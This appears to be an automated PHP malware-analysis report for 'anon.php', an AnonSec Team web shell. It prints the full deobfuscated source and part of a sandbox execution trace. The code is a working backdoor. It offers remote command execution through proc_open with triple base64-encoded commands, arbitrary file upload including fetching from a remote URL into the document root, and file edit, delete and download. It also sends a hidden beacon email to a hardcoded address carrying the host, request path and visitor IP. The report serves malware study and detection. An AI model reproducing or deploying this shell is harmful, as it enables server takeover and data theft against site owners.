PHP Malware Analysis

anon.php

md5: 73ebd3a92a3ea60e53bb96b71027c35d

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<!-- Thanks to all member of AnonSec Team -->
<!-- Recode ? Silahkan, tapi jangan lupa cantumkan nama author nya xixixi -->
<!-- ChokkaXploiter - AnonsecTeam -->



<!DOCTYPE html>
<html>
<head>
    <title>AnonSec Team</title>
    <meta name="author" content="Anon7">
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Shell Backdoor">
    <meta property="og:description" content="Shell Backdoor">
    <meta property="og:image" content="https://i.imgur.com/6RSyvoJ.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">AnonSec Team</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
//@set_time_limit(0);
//@error_reporting(0);
//@http_response_code(404);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br>AnonSec - 2021</center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function dunlut($file)
{
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die;
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die;
}
function owner($file)
{
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>" . $tod['name'] . "</center>";
    } else {
        return "<center>" . fileowner($file) . "</center>";
    }
}
function cekwrite($lokasi)
{
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>" . $izin . "</font>";
    } else {
        return "<font color=red>" . $izin . "</font>";
    }
}
function ekse($komend, $lokasi)
{
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    if (strpos($komend, "2>&1") === false) {
        $komen = base64_decode(base64_decode(base64_decode($komend))) . " 2>&1";
    }
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
}
function ipserv()
{
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}
function cekfile($file)
{
    return "<i class=\"fa fa-file\" style=\"color: #d6d4ce\"></i> ";
}
function filedate($file)
{
    return date("F d Y g:i:s", filemtime($file));
}
function unzip($file, $lokasi)
{
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die;
    } elseif (strpos(file_get_contents($file), "PK\x03\x04") === false) {
        red("This isn't Zip File !");
        die;
    }
    $zip = new ZipArchive();
    $res = $zip->open($file);
    if ($res == true) {
        $zip->extractTo($lokasi);
        $zip->close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server IP : <font color=gold>" . ipserv() . "</font> &nbsp;/&nbsp; Your IP : <font color=gold>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "Web Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
echo "<br>Directory (" . cekwrite($lokasi) . ") : &nbsp;";
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
        $lokasi = $_SERVER['DOCUMENT_ROOT'];
    }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata);
        if (file_exists($lokasi . "/" . $bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "</table><br>";
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
echo '<th>[ &nbsp;<a href="' . $_SERVER['SCRIPT_NAME'] . '">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>" . basename($_POST['path']) . "</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif (isset($_GET['upload'])) {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif (isset($_GET['komend'])) {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    ' . @get_current_user() . '@' . ipserv() . ':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
}
if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Last Modified</center></td>\r\n<td><center>Owner</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.') {
        continue;
    }
    echo "<tr>\r\n    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n    <td><center>--</center></td>\r\n    <td><center>" . filedate($lokasi . "/" . $dir) . "</center></td>\r\n    <td>" . owner($lokasi . "/" . $dir) . "</td>\r\n    <td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n    <td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n    <select name=\"pilih\">\r\n    <option value=\"\"></option>\r\n    <option value=\"hapus\">Delete</option>\r\n    <option value=\"gantinama\">Rename</option>\r\n    </select>\r\n    <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n    <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n    <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n    <input type=\"submit\" class=\"gas\" value=\">\" />\r\n    </form></center></td>\r\n    </tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n<td>" . cekfile($lokasi . "/" . $file) . "<a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\r\n<td>" . owner($lokasi . "/" . $file) . "</td>\r\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"dunlut\">Download</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>";
    if (class_exists("ZipArchive")) {
        echo "<option value=\"unzip\">Unzip</option>";
    }
    echo "</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $izin = substr(sprintf('%o', fileperms($file)), -4);
    return $izin;
}
$GLOBALS["yarbxwx_zjvjbhleoizs_xfy_hc"] = "ip";
$GLOBALS["_ubchhmqd_ecfow_pqfghygu_akg_wtqp_kmljy"] = "ra44";
$GLOBALS["cwtggdzzz_df_qkwyudkkehymlkuap_rhuw"] = "subj98";
$GLOBALS["ggczgtifbjnrynbhsyzrepp"] = "email";
$GLOBALS["a_cvpnlmtkpti_fmub_hn_zova"] = "from";
$GLOBALS["_wjcvlbquzougsufwdvsjmhc_uzf"] = "a45";
$GLOBALS["amypvb_tdejk__btyqovu_knvihgtepcs_"] = "_SERVER";
$GLOBALS["ptyk_kjpkpijoyfxyrbwcp"] = "b75";
$GLOBALS["zvccmgdcndxienecnrmcjzzvoz"] = "m22";
$GLOBALS["whddixwijtyw_iosnidp_hcphd_pshsf_dna"] = "msg8873";
$ip = getenv("REMOTE_ADDR");
$ra44 = rand(1, 99999);
$subj98 = "Logger Nih";
$email = "toutrgoding@gmail.com";
$from = "Shell Kamuuu";
$a45 = $_SERVER['REQUEST_URI'];
$b75 = $_SERVER['HTTP_HOST'];
$m22 = $ip . "";
$msg8873 = "{$a45} {$b75} {$m22}";
mail($email, $subj98, $msg8873, $from);
?>
</body>
</html>

Execution traces

data/traces/73ebd3a92a3ea60e53bb96b71027c35d_trace-1676246216.6978.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:57:22.595606]
1	0	1	0.000236	393512
1	3	0	0.000955	508720	{main}	1		/var/www/html/uploads/anon.php	0	0
2	4	0	0.000981	508720	ini_set	0		/var/www/html/uploads/anon.php	162	2	'display_errors'	1
2	4	1	0.001001	508792
2	4	R			''
2	5	0	0.001016	508720	ini_set	0		/var/www/html/uploads/anon.php	163	2	'display_startup_errors'	1
2	5	1	0.001030	508792
2	5	R			''
2	6	0	0.001043	508720	error_reporting	0		/var/www/html/uploads/anon.php	164	1	32767
2	6	1	0.001057	508792
2	6	R			22527
2	7	0	0.001071	508752	ini_get	0		/var/www/html/uploads/anon.php	166	1	'disable_functions'
2	7	1	0.001085	509232
2	7	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/anon.php	166	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/anon.php	170	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	8	0	0.001158	509648	ipserv	1		/var/www/html/uploads/anon.php	310	0
2	8	1	0.001172	509648
2	8	R			'127.0.0.1'
2	9	0	0.001187	509648	php_uname	0		/var/www/html/uploads/anon.php	312	0
2	9	1	0.001202	509760
2	9	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	10	0	0.001221	509648	get_current_user	0		/var/www/html/uploads/anon.php	313	0
2	10	1	0.001261	509688
2	10	R			'osboxes'
2	11	0	0.001276	509752	getmyuid	0		/var/www/html/uploads/anon.php	313	0
2	11	1	0.001289	509752
2	11	R			1000
2	12	0	0.001302	509656	phpversion	0		/var/www/html/uploads/anon.php	314	0
2	12	1	0.001314	509720
2	12	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	13	0	0.001336	509768	function_exists	0		/var/www/html/uploads/anon.php	317	1	'mysql_connect'
2	13	1	0.001350	509808
2	13	R			FALSE
2	14	0	0.001364	509768	function_exists	0		/var/www/html/uploads/anon.php	323	1	'curl_init'
2	14	1	0.001377	509808
2	14	R			TRUE
2	15	0	0.001391	509768	file_exists	0		/var/www/html/uploads/anon.php	329	1	'/usr/bin/wget'
2	15	1	0.001411	509808
2	15	R			TRUE
2	16	0	0.001424	509768	file_exists	0		/var/www/html/uploads/anon.php	335	1	'/usr/bin/perl'
2	16	1	0.001439	509808
2	16	R			TRUE
2	17	0	0.001452	509768	file_exists	0		/var/www/html/uploads/anon.php	341	1	'/usr/bin/python2'
2	17	1	0.001467	509808
2	17	R			FALSE
2	18	0	0.001481	509768	getcwd	0		/var/www/html/uploads/anon.php	355	0
2	18	1	0.001494	509816
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/anon.php	355	$lokasi = '/var/www/html/uploads'
2	19	0	0.001519	509816	getcwd	0		/var/www/html/uploads/anon.php	356	0
2	19	1	0.001532	509864
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/anon.php	356	$lokdua = '/var/www/html/uploads'
2	20	0	0.001556	509864	str_replace	0		/var/www/html/uploads/anon.php	359	3	'\\'	'/'	'/var/www/html/uploads'
2	20	1	0.001572	509960
2	20	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/anon.php	359	$lokasi = '/var/www/html/uploads'
2	21	0	0.001597	509864	explode	0		/var/www/html/uploads/anon.php	360	2	'/'	'/var/www/html/uploads'
2	21	1	0.001611	510440
2	21	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/anon.php	360	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	22	0	0.001644	510368	scandir	0		/var/www/html/uploads/anon.php	361	1	'/var/www/html/uploads'
2	22	1	0.001676	510992
2	22	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'anon.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/anon.php	361	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'anon.php', 4 => 'data', 5 => 'prepend.php']
2	23	0	0.001712	510960	cekwrite	1		/var/www/html/uploads/anon.php	363	1	'/var/www/html/uploads'
3	24	0	0.001726	510960	fileperms	0		/var/www/html/uploads/anon.php	242	1	'/var/www/html/uploads'
3	24	1	0.001746	511024
3	24	R			16895
3	25	0	0.001760	510984	sprintf	0		/var/www/html/uploads/anon.php	242	2	'%o'	16895
3	25	1	0.001774	511368
3	25	R			'40777'
3	26	0	0.001787	511304	substr	0		/var/www/html/uploads/anon.php	242	2	'40777'	-4
3	26	1	0.001800	511400
3	26	R			'0777'
2		A						/var/www/html/uploads/anon.php	242	$izin = '0777'
3	27	0	0.001824	511016	is_writable	0		/var/www/html/uploads/anon.php	243	1	'/var/www/html/uploads'
3	27	1	0.001840	511056
3	27	R			TRUE
2	23	1	0.001853	511040
2	23	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/anon.php	365	$id = 0
1		A						/var/www/html/uploads/anon.php	367	$a = TRUE
1		A						/var/www/html/uploads/anon.php	365	$id = 1
1		A						/var/www/html/uploads/anon.php	373	$i = 0
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	365	$id = 2
1		A						/var/www/html/uploads/anon.php	373	$i = 0
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	365	$id = 3
1		A						/var/www/html/uploads/anon.php	373	$i = 0
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	365	$id = 4
1		A						/var/www/html/uploads/anon.php	373	$i = 0
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
1		A						/var/www/html/uploads/anon.php	373	$i++
2	28	0	0.002086	510984	is_readable	0		/var/www/html/uploads/anon.php	517	1	'/var/www/html/uploads'
2	28	1	0.002102	511024
2	28	R			TRUE
2	29	0	0.002116	511032	is_dir	0		/var/www/html/uploads/anon.php	532	1	'/var/www/html/uploads/.'
2	29	1	0.002131	511072
2	29	R			TRUE
2	30	0	0.002145	511040	is_dir	0		/var/www/html/uploads/anon.php	532	1	'/var/www/html/uploads/..'
2	30	1	0.002159	511088
2	30	R			TRUE
2	31	0	0.002173	511272	filedate	1		/var/www/html/uploads/anon.php	536	1	'/var/www/html/uploads/..'
3	32	0	0.002186	511272	filemtime	0		/var/www/html/uploads/anon.php	280	1	'/var/www/html/uploads/..'
3	32	1	0.002199	511312
3	32	R			1676246216
3	33	0	0.002212	511272	date	0		/var/www/html/uploads/anon.php	280	2	'F d Y g:i:s'	1676246216
3	33	1	0.002270	513664
3	33	R			'February 12 2023 6:56:56'
2	31	1	0.002288	513592
2	31	R			'February 12 2023 6:56:56'
2	34	0	0.002304	513368	owner	1		/var/www/html/uploads/anon.php	537	1	'/var/www/html/uploads/..'
3	35	0	0.002317	513368	function_exists	0		/var/www/html/uploads/anon.php	233	1	'posix_getpwuid'
3	35	1	0.002332	513408
3	35	R			TRUE
3	36	0	0.002350	513368	fileowner	0		/var/www/html/uploads/anon.php	234	1	'/var/www/html/uploads/..'
3	36	1	0.002367	513408
3	36	R			0
3	37	0	0.002383	513368	posix_getpwuid	0		/var/www/html/uploads/anon.php	234	1	0
3	37	1	0.002419	514168
3	37	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.php	234	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	34	1	0.002477	513416
2	34	R			'<center>root</center>'
2	38	0	0.002506	513112	is_writable	0		/var/www/html/uploads/anon.php	539	1	'/var/www/html/uploads/..'
2	38	1	0.002533	513152
2	38	R			TRUE
2	39	0	0.002560	513112	statusnya	1		/var/www/html/uploads/anon.php	541	1	'/var/www/html/uploads/..'
3	40	0	0.002582	513112	fileperms	0		/var/www/html/uploads/anon.php	603	1	'/var/www/html/uploads/..'
3	40	1	0.002602	513152
3	40	R			16895
3	41	0	0.002626	513112	sprintf	0		/var/www/html/uploads/anon.php	603	2	'%o'	16895
3	41	1	0.002647	513496
3	41	R			'40777'
